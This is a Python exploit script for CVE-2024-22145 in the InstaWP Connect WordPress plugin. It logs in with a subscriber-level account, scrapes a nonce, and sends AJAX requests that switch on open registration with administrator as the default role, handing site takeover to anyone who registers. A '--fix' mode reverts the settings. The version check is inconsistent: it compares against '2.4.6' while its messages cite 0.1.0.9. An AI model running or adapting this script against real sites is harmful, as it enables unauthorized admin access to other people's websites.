#!/usr/bin/env python3
import argparse
import requests
import re
from getpass import getpass
from bs4 import BeautifulSoup
import os

## Exploit script by @RandomRobbieBF

http_proxy = ""
os.environ['HTTP_PROXY'] = http_proxy
os.environ['HTTPS_PROXY'] = http_proxy

user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"

def check_plugin_version(url,username,password):
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}
    plugin_url = ""+url+"/wp-content/plugins/instawp-connect/readme.txt"
    response = requests.get(plugin_url, headers=headers,verify=False,timeout=30)
    if response.status_code == 200:
        content = response.text

        version_line = next((line for line in content.split('\n') if line.startswith('Stable tag:')), None)
        if version_line:
            version = version_line.split(':')[1].strip()
            if version > '2.4.6':
                print("The plugin version is 0.1.0.9 or above.")
                exit()
            else:
                print("The plugin version is below 0.1.0.9.")
                print("The plugin version is "+version+"")
                return version
        else:
            print("Failed to find the version information in the readme.txt file.")
            exit()
    else:
        print("Plugin not installed")
        exit()




def undoadmin(url, username, password):
    # Perform vulnerability check logic here
    print("Vulnerability check:", url)

    # Login to WordPress
    login_url = f"{url}/wp-login.php"
    session = requests.Session()
    login_data = {
        "log": username,
        "pwd": password,
        "wp-submit": "Log In",
        "redirect_to": f"{url}/wp-admin/",
    }

    try:
        login_response = session.post(login_url, data=login_data, headers={"User-Agent": user_agent})
        login_response.raise_for_status()
        # Extract the required cookies from the response headers
        cookies = login_response.cookies

        # Confirm successful login
        if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
            print("Logged in successfully.")
            try:
            	soup = BeautifulSoup(login_response.text, 'html.parser')
            	script_tag = soup.find('script', id='instawp-migrate-js-extra')
            	javascript_content = script_tag.string
            	security_value = re.search(r'"security":"([a-f0-9]+)"', javascript_content).group(1)

            except Exception as e:
            	print("Failed to extract nonce - "+str(e)+"")
            	exit()
        else:
            print("Failed to log in.")
            exit()
		
		
		
		
        payloads = [
  		{"name":"users_can_register","action":"instawp_save_management_settings","security":security_value,"value":"0"},
  		{"name":"default_role","action":"instawp_save_management_settings","security":security_value,"value":"subscriber"}
        ]
        
        main_url = f"{url}/wp-admin/admin-ajax.php"
        for payload in payloads:
            ajax_response = session.post(main_url,data=payload, headers={"User-Agent": user_agent,"X-Requested-With": "XMLHttpRequest"})
            ajax_response.raise_for_status()

            # Check if option set successfully
            if ajax_response.status_code == 200:
                print(f"Option set successfully: {main_url}")
            else:
                print(f"Failed to set option: {main_url}")
                exit()


        # Check if user registration is allowed
        register_url = f"{url}/wp-login.php?action=register"
        register_response = requests.get(register_url, headers={"User-Agent": user_agent})

        if "User registration is currently not allowed" not in register_response.text:
            print("Error: it looks like you can still register.")
        else:
            print("Fixed: You can not longer register")

    except requests.exceptions.RequestException as e:
        print(f"Request failed with an error: {e}")




def vulncheck(url, username, password):
    # Perform vulnerability check logic here
    print("Vulnerability check:", url)

    # Login to WordPress
    login_url = f"{url}/wp-login.php"
    session = requests.Session()
    login_data = {
        "log": username,
        "pwd": password,
        "wp-submit": "Log In",
        "redirect_to": f"{url}/wp-admin/",
    }

    try:
        login_response = session.post(login_url, data=login_data, headers={"User-Agent": user_agent})
        login_response.raise_for_status()
        # Extract the required cookies from the response headers
        cookies = login_response.cookies

        # Confirm successful login
        if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
            print("Logged in successfully.")
            try:
            	soup = BeautifulSoup(login_response.text, 'html.parser')
            	script_tag = soup.find('script', id='instawp-migrate-js-extra')
            	javascript_content = script_tag.string
            	security_value = re.search(r'"security":"([a-f0-9]+)"', javascript_content).group(1)
            except Exception as e:
            	print("Failed to extract nonce - "+str(e)+"")
            	exit()
        else:
            print("Failed to log in.")
            exit()

        payloads = [
  		{"name":"users_can_register","action":"instawp_save_management_settings","security":security_value,"value":"1"},
  		{"name":"default_role","action":"instawp_save_management_settings","security":security_value,"value":"administrator"}
        ]
        
        main_url = f"{url}/wp-admin/admin-ajax.php"
        for payload in payloads:
            ajax_response = session.post(main_url,data=payload, headers={"User-Agent": user_agent,"X-Requested-With": "XMLHttpRequest"})
            ajax_response.raise_for_status()

            # Check if option set successfully
            if ajax_response.status_code == 200:
                print(f"Option set successfully: {main_url}")
            else:
                print(f"Failed to set option: {main_url}")
                exit()


        # Check if user registration is allowed
        register_url = f"{url}/wp-login.php?action=register"
        register_response = requests.get(register_url, headers={"User-Agent": user_agent})

        if "Registration confirmation will be emailed to you" in register_response.text:
            print("You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.")
            exit()
        else:
            print("boooo")

    except requests.exceptions.RequestException as e:
        print(f"Request failed with an error: {e}")


# Add the vulnerability description as a comment
DESCRIPTION = """
InstaWP Connect <= 0.1.0.8 - Missing Authorization to Arbitrary Options Update
Description:
The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the save_management_settings function in all versions up to, and including, 0.1.0.8. This makes it possible for authenticated attackers, with subscriber access and above, to modify
CVE-2024-22145
"""

# Use argparse to get the URL, username, and password arguments
parser = argparse.ArgumentParser(description=DESCRIPTION)
parser.add_argument("-u", "--url", help="Website URL", required=True)
parser.add_argument("-un", "--username", help="WordPress username")
parser.add_argument("-p", "--password", help="WordPress password")
parser.add_argument("-f", "--fix", help="Reset after Exploit")
args = parser.parse_args()

# Prompt for password if not provided as an argument
if not args.password:
    args.password = getpass("Enter the WordPress password: ")

# Usage
if args.fix:
   undoadmin(args.url, args.username,args.password)
else:
   check_plugin_version(args.url, args.username,args.password)
   vulncheck(args.url, args.username, args.password)